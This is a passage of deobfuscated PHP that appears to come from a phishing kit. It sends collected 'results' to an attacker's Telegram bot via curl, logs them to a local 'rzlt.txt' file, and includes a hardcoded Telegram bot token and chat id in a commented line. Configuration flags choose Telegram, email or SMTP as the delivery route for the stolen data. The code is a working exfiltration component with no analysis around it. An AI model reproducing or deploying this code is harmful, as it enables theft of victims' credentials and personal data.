/* Decoded by unphp.net */ $chatId, 'text'=>$yagmai, ]; $ch = curl_init($website . '/sendMessage'); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, ($params)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec($ch); curl_close($ch); $myfile = fopen("rzlt.txt", "a+"); $txt = $message; fwrite($myfile, $txt); fclose($myfile); // file_get_contents("https://api.telegram.org/bot5040159519:AAFxWxiFFdKCyVlO6NhbFXXCbbiRlMEjhx8/sendMessage?chat_id=-662763630&text='.$yagmail'"); define("SMTP_HOSTNAME", 'smtp.host.com'); define("SMTP_USER", 'username'); define("SMTP_PASS", 'password'); define("SMTP_PORT", 465); define("SMTP_FROM_EMAIL", 'mail@from.me'); define("RECEIVE_VIA_TELEGRAM", 1); // Receive results via telegram : 0 or 1 define("RECEIVE_VIA_EMAIL", 0); // Receive results via e-mail : 0 or 1 define("RECEIVE_VIA_SMTP", 0); // Receive results via smtp : 0 or 1 ?>